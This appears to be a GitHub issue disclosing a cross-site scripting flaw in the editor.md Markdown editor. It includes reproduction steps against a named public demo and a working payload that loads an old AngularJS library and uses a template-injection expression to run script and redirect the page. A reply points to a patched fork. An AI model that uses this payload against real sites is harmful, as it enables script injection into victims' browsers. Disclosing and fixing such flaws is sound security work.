XSS vulnerability found via <script> src attribute

[showuon]

Test Environment:
Firefox Quantum 67.0.3/Chrome 75.0.3770.100/Safari 12.1.1

Description:
User can use <script> src attribute to include external library(ex: angularjs), and then, execute malicious javascript codes.

Reproduce steps

1. go to https://pandao.github.io/editor.md/en.html or any open editor.md apps
2. in the edit mode, input the following malicious codes

<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.min.js> 
</script>
<div ng-app >
    {{constructor.constructor(&#34;window.location.replace(&#39;&#104;ttp://www.bing.com&#39;)&#34;)()}} 
</div>

Expected Results
No malicious javascript codes should be executed

Actual Results
The malicious codes are executed and page redirected to bing.com
(The PoC is to display alert, but it can be changed to window.location.replace() for page redirection

[alromh87]

Can you try against this version please, also be sure the have the script filter enabled:
https://github.com/418sec/editor.md